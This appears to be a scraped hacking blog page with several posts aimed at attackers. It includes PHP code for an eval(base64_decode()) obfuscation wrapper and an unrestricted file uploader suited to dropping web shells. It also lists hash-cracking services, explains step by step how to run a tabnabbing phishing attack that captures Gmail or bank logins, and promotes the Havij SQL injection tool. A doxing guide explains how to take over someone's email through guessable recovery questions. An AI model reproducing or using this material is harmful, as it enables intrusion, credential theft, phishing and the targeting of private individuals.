Base 64 Encode And Decode

<?php
/*
*    By Afnum Vvip
*    in decode you can put <?php or evrything in it like
*    <?php  eval(base64_decode('YWZudW0gaGVuc2Vt'));  ?>
*    it can decode it for you :D
*/
?>
<head>
<title>Base 64</title>
</head>
<body bgcolor="#333">
<style>
a{
    color:#fff;
    font-size:21px
}
a:link{
    color:#FFF;
    font-size:21px
}
a:visited{
    color:#FFF
    font-size:21px
}
h1{
    color:#FFF
   
}

</style>
<table align="center" border="2px" bordercolor="#fff" width="100%" bgcolor="#333">
<center><th><a  href="?do=encode" title="Encode Your Script">Encode</a></th><th><a  href="?" title="Encode Your Script">Home</a></th><th><a href="?do=decode" title="Decode Your Script">Decode</a></th></center></table><br />

<?php
$f = array('<?php', '<?' , 'eval', '(', ')', 'base64_decode', '\'', ';', '?>');

switch($_GET['do'])
{
case encode:
    echo
    '
    <center><h1>Base64 Encode</h1><br />
    <form method="post">
    <textarea name="str" style=" height: 160px;  width: 653px; ">'.htmlentities(stripslashes($_POST["str"])).'</textarea><br /><br />
    <input type="submit" name="submit" value="Encode! " />
    </form><br /></center>
    ';
    $submit = $_POST['submit'];
    $str = $_POST['str'];
   
    doencode($_POST['submit'], $_POST['str']);

   
break;
case decode:
    echo
    '
    <center><h1>Base64 Decode</h1><br />
    <form method="post">
    <textarea name="dec" style=" height: 160px;  width: 653px; ">'.htmlentities(stripslashes($_POST["dec"])).'</textarea><br /><br />
    <input type="submit" name="submitt" value="Decode! " />
    </form><br /></center>
    ';
    $submitt = $_POST['submitt'];
    $dec = $_POST["dec"];
   
    dodecode();
break;
default:
echo
"
<center>
<font color='#FFF' size='5px'><br /><br /><br /><br /><br /><br /><br /><b><pre>
__________                           ________  _____ 
\______   \_____    ______  ____    /  _____/ /  |  |
 |    |  _/\__  \  /  ___/_/ __ \  /   __  \ /   |  |_
 |    |   \ / __ \_\___ \ \  ___/  \  |__\  |    ^   /
 |______  /(____  /____  > \___  >  \_____  |____   |
        \/      \/     \/      \/         \/     |__|
</pre></b></font>
</center>
";


}



function doencode(){
global $submit, $str;
    if($submit && !$str){
        echo "<script>alert('Y U NO Fill The Box ????')</script>";       
    }
    else if ($submit && !empty($str)){
        $strs = htmlentities($str);
        $enc = base64_encode($str);
        echo '<hr /><center><h1>Base64 Encoded</h1><br /><textarea style=" height: 160px;  width: 653px; " readonly>';
        echo "<?php  eval(base64_decode('$enc'));  ?>";
        echo '</textarea></center>';
    }
}

function dodecode(){
global $submitt, $dec, $f;
    if($submitt && !$dec){
        echo "<script>alert('Y U NO Fill The Box ????')</script>";       
    }
    else if ($submitt && !empty($dec)){
        $decode = str_ireplace($f, '', $dec);
        $deco  = base64_decode($decode);
        $html = htmlentities(stripslashes($deco));
        echo '<hr /><center><h1>Base64 Decoded</h1><br /><textarea style=" height: 160px;  width: 653px; " readonly>';
        echo $html;
        echo '</textarea></center>';
    }
}


?>
</body>

Read More

Uploader

<!--:)
-->
<center>
<form method="post" enctype="multipart/form-data">
<input type="file" name="file"/>
<input type="submit" name="submit" value="Upload" />
</form>

<?php
$name = $_FILES['file']['name'];
$temp = $_FILES['file']['tmp_name'];
$dir = './';

if(isset($name)){
    if(!empty($name)){
        $move = move_uploaded_file($temp, $dir.$name);
        if(!$move){
            echo "<br/>Failed To Upload $name";
        } else {
            echo "<br/><a href='".$dir.$name."'><font size='5px'>".$name."</a> Sukses</font>";
        }
    } else {
        echo "Please Choose A File!";
    }
}

?>
</center>

Read More

MD5 Cracker Web List

 

MD5 Cracker Web List

Just wanna share with you guys. A list of web/services for cracking a md5 hash.
Check it out. r0x d4 n3tw0rk

- md5gle.com

- online md5 cracker,md5 reverse, md5 decrypt (457,354,352,282)

- md5Crack.com | online md5 cracker

- [ md5 crack password crack hash checker ]

- md5cracker.tk (MD5 Search engine by searches a total of 14 on-line crackers.)

- Index of / (5,889,729)

- AP3 Designs

- http://md5-db.com (The database is approximately 70gb)

- md5.rednoize.com - reverse engineer md5 hashes - powered by rednoize.com (56,502,235)

- GData: An Online MD5 Hash Database (3,251,106)

- TMTO[dot]ORG (306.000.000.000)

- milw0rm.com - free md5/lm hash cracking (Milw0rm Cracker db)

- BlackLight's hash cracker (2,456,288)

- .:Shell-Storm.org:. | DataBase MD5 | ( The data base currently contains 169582 passwords )

- Parallels Confixx (Need Account)

- Passwords recovery - MD5, SHA1, MySQL (Register to increase your priority)

- md5ÔÚÏß²éѯÆƽâ|md5½âÃÜ|md5¼ÓÃÜ|salt

- Hashkiller.com

- plain-text.info

- insidepro.com

- md5decrypter.co.uk

- c0llision.net

- md5pass.info

- hashcrack.com

- generuj.pl

- authsecu.com

- md5decryption.com

- chwett.com/md5

- md5this.com

- tmto.org

- kerinci.net

- hash.db.hk

- crackfor.me

- md5hood.com

- neofusion.de

- md5.shalla.de

- md5.my-addr.com

- hashcracking.info <-- API: https://hashcracking.info/check.php?hash= {hash}

- md5.opencracking.info

- md5online.net

- macrosoftware.ro/md5

- netmd5crack.com

- bokehman.com

- hash-database.net

- thoran.eu

- md5-database.net

- web-security-services.com

- bitdelivery.net



-----------------------------------------------------------------
CRACKED PASSWORD LIST
-----------------------------------------------------------------
www.md5oogle.com
[ md5 crack password crack hash checker ]
milw0rm.com - free md5/lm hash cracking
darkc0de.com [ index ]

-----------------------------------------------------------------
MULTI
-----------------------------------------------------------------
md5cracker.org
md5.igrkio.info
hashkiller.com
hashchecker.de
sinhalayo159.07x.net


-----------------------------------------------------------------
IRC
-----------------------------------------------------------------
plain-text.info (irc.Plain-Text.info #rainbowcrack |||| irc.rizon.net #rainbowcrack)
md5.overclock.ch (irc.rizon.net #md5)
c0llision.net (irc.after-all.org #md5crack |||| ircd.hopto.org #md5crack)



-----------------------------------------------------------------
ICQ
-----------------------------------------------------------------
c0llision.net (427-921-047) <- md5, ntlm
hashkiller.com (405-701-776) <- md5



-----------------------------------------------------------------
LM
-----------------------------------------------------------------
lmcrack.com
plain-text.info


-----------------------------------------------------------------
NTLM
-----------------------------------------------------------------
plain-text.info
md5decrypter.co.uk


-----------------------------------------------------------------
SHA1
-----------------------------------------------------------------
md5.rednoize.com
hash.db.hk
md5decrypter.co.uk


-----------------------------------------------------------------
SHA256
-----------------------------------------------------------------
md5.shalla.de
hash.db.hk


-----------------------------------------------------------------
RAINBOW TABLE
-----------------------------------------------------------------
Free Rainbow Tables » Distributed Rainbow Cracking » LM, NTLM, MD5, SHA1, HALFLMCHALL, MSCACHE
Rainbow Tables . net

Read More

Tabnabbing: A New Type of Phishing Attack

Tabnabbing: A New Type of Phishing Attack

The web is a generative and wild place. Sometimes I think I missed my calling; being devious is so much fun. Too bad my parents brought me up with scruples.
Most phishing attacks depend on an original deception. If you detect that you are at the wrong URL, or that something is amiss on a page, the chase is up. You’ve escaped the attackers. In fact, the time that wary people are most wary is exactly when they first navigate to a site.
What we don’t expect is that a page we’ve been looking at will change behind our backs, when we aren’t looking. That’ll catch us by surprise.

How The Attack Works

1. A user navigates to your normal looking site.
2. You detect when the page has lost its focus and hasn’t been interacted with for a while.
3. Replace the favicon with the Gmail favicon, the title with “Gmail: Email from Google”, and the page with a Gmail login look-a-like. This can all be done with just a little bit of Javascript that takes place instantly.
4. As the user scans their many open tabs, the favicon and title act as a strong visual cue—memory is malleable and moldable and the user will most likely simply think they left a Gmail tab open. When they click back to the fake Gmail tab, they’ll see the standard Gmail login page, assume they’ve been logged out, and provide their credentials to log in. The attack preys on the perceived immutability of tabs.
5. After the user has entered their login information and you’ve sent it back to your server, you redirect them to Gmail. Because they were never logged out in the first place, it will appear as if the login was successful.

I dub this new type of phishing attack “tabnabbing”.

Targeted Attacks

There are many ways to potentially improve the efficacy of this attack.
Using my CSS history miner you can detect which site a visitor uses and then attack that site (although this is no longer possible in Firefox betas). For example, you can detect if a visitor is a Facebook user, Citibank user, Twitter user, etc., and then switch the page to the appropriate login screen and favicon on demand.

[*] Think looking for the exact error thrown when embedding <script src=”http://gmail.com”/> it will be differ depending on if the user is logged in or logged out.

Even more deviously, there are various methods to know whether a user is currently logged into a service. These methods range from timing attacks on image loads, to seeing where errors occur when you load an HTML webpage in a script tag*. Once you know what services a user is currently logged in to, the attack becomes even more effective.
You can make this attack even more effective by changing the copy: Instead of having just a login screen, you can mention that the session has timed out and the user needs to re-authenticate. This happens often on bank websites, which makes them even more susceptible to this kind of attack.

 

Attack Vector

Every time you include a third-party script on your page, or a Flash widget, you leave yourself wide open for an evil doer to use your website as a staging ground for this kind of attack. If you are the evil doer, you can have this behavior only occur once in a while, and only if the user uses a targeted service. In other words, it could be hard to detect.
You can also use a cross-site scripting vulnerabilities to force the attack to be performed by other websites. And for browsers that do not support changing the favicon, you can use a location.assign call to navigate the page to a controlled domain with the correct favicon. As long as the user wasn’t looking at the tab when the refresh occurred (which they won’t be), they’ll have no idea what hit them. Combine this with look-alike Unicode domain names and even the most savvy user will have trouble detecting anything is amiss.

 

Try it Out

You can try it out on this very website (it works in all major browsers). Click away to another tab for at least five seconds. Flip to another tab. Do whatever. Then come back to this tab.
It’s hard to find, isn’t it? It looks exactly like Gmail. I was lazy and took a screenshot of Gmail which loads slowly. It would be better to recreate the page in HTML.

Update: Many people have reported that the attack doesn’t change the favicon in Chrome. This was due to a bug in Chrome which has been fixed in the version 6.0.408.1. Chrome is fully susceptible to this attack.

You can get the source code here: bgattack.js.

 

The Fix

This kind of attack once again shows how important our work is on the Firefox Account Manager to keep our users safe. User names and passwords are not a secure method of doing authentication; it’s time for the browser to take a more active role in being your smart user agent; one that knows who you are and keeps your identity, information, and credentials safe.

Read More

Havij v1.14 Advanced SQL Injection

 

Description:

Havij is an automated SQL Injection tool that helps penetration testers to find and exploit SQL Injection vulnerabilities on a web page.
It can take advantage of a vulnerable web application. By using this software user can perform back-end database fingerprint, retrieve DBMS users and password hashes, dump tables and columns, fetching data from the database, running SQL statements and even accessing the underlying file system and executing commands on the operating system.
The power of Havij that makes it different from similar tools is its injection methods. The success rate is more than 95% at injectiong vulnerable targets using Havij.
The user friendly GUI (Graphical User Interface) of Havij and automated settings and detections makes it easy to use for everyone even amateur users.

What’s New?

• Sybase (ASE) database added.
• Sybase (ASE) Blind database added.
• Time based method for MsSQL added.
• Time based method for MySQL added.
• mod_security bypass added.
• Pause button added.
• Basic authentication added
• Digest authentication added.
• Post Data field added
• bugs related with dot character in database name fixed
• syntax over writing when defined by user in blind injections fixed.
• mssql database detection from error when using JDBC driver corrected.
• time out bug in md5 cracker fixed.
• default value bug fixed
• string encode bug fixed in PostgreSQL
• injecting URL rewrite pages added.
• injecting into any part of http request like Cookie, User-Agent, Referer, etc made available
• a bug in finding string column fixed. (specially for MySQL)
• Finding columns count in mysql when input value is non effective added.
• window resize bug in custom DPI setting fixed.
• some bugs in finding row count fixed.
• getting database name in mssql error based when injection type is guessed integer but it’s string fixed.

Features:

How to use

This tool is for exploiting SQL Injection bugs in web application.
For using this tool you should know a little about SQL Injections.
Enter target url and select http method then click Analyze.
Note: Try to url be valid input that returns a normal page not a 404 or error page.

Read More

What Is Doxing? - Doxing And It's Uses

First, let me explain what Doxing is. Doxing is the process of gaining information about someone or something by using sources on the Internet and using basic deduction skills. Its name is derived from “Documents” and in short it is the retrieval of “Documents” on a person or company.

You’re probably thinking, “Okay, so basically it’s getting information from searching someone’s email on Google right?” in a sense yes, but there are actually easier ways to get someone’s information online. The most popular and most common method is to use a website called Pipl (http://www.pipl.com/). Pipl allows you to search for full names, emails, usernames, and even phone numbers, thus making it a very useful tool for hackers. Another source hackers can use is Facebook (http://www.facebook.com). Sure, Facebook allows full name searches, but most hackers aren’t using it for its name search; they’re using it for its email search.

The main goal when Doxing is to find the target’s email (if you don’t have it). Your email is essentially your passport online; you sign up for websites using it, you have personal information on it, and if someone has access to it, they can essentially pretend to be you online. Once the hacker has the email, all he has to do is put it into Facebook or Pipl and he will be able to find you, assuming the email he has is connected to some account you have online. On the flipside of this, in order to find your email, the hacker either has to guess your email, befriend you on Facebook,or, hack one of your vulnerable friends and view your email that way. Once he’s done that, you’re in trouble.

Now, you’re probably thinking, “How’s he going to hack me with just my email?” well, that’s where Doxing comes in handy. If he can view your Facebook account, or he can find some other bit of information about you using Pipl, he can do what’s called reverting. Reverting is the process of using the target’s email’s recovery questions to gain access to the target’s email. Now, you may be thinking, “How’s he gonna guess my recovery question answers?” well, take a second look at your recovery questions and ask yourself, “Can someone find this answer online?” If you answered yes, then you’re vulnerable to reverting.
Any hacker reading this, that didn't previously know about reverting, would probably look at this and say

“This would never work!” but you have to remember… we’re all humans, and we all make mistakes. Surprisingly, this method works more often than you’d think, but it is not for anyone who is lazy. Doxers tend to spend a while searching around the web for information that they can use.

Chances are, you’ve made some mistakes online, and if a skilled Doxer finds that mistake, then you’re in trouble. The Doxing method is based purely on the ability of the hacker to recognize valuable information about his target and use this information to his benefit. It is also based around the idea that, “The more you know about your target, the easier it will be to find his or her flaws.”

How can you insure that you won’t be Doxed?
Well, as the Internet becomes more and more useful and addicting, it will become harder to not get Doxed. The main issue for most victims is their security questions, and their password security. If a victim has a very easy-to-find recovery question, then the victim will be easily reverted within a matter of seconds. Also, if the victim has a simple password, it could get brute forced simply by using a wordlist that applies to the victim’s interests, likes, and fancies (of course, this method is not as popular).

So, the main rule to not getting hacked is: Have secure passwords, and almost impossible to guess recovery questions. The main rule to not getting Doxed is… to just stay off the Internet; but, who wants to do that?

//http://www.rafayhackingarticles.net

Read More

Exploitsearch.net - Exploit & Vulnerability Search Engine

This is a online search for currently utilizing data from NVD, OSVDB, SecurityFocus, Exploit-DB, Metasploit, Nessus, OpenVAS, and PacketStorm.Well search engine does the work but this is a specific search engine for better results. There not much to write about just visit the site and all your queries will be answered.
VISIT : http://www.exploitsearch.net/

Read More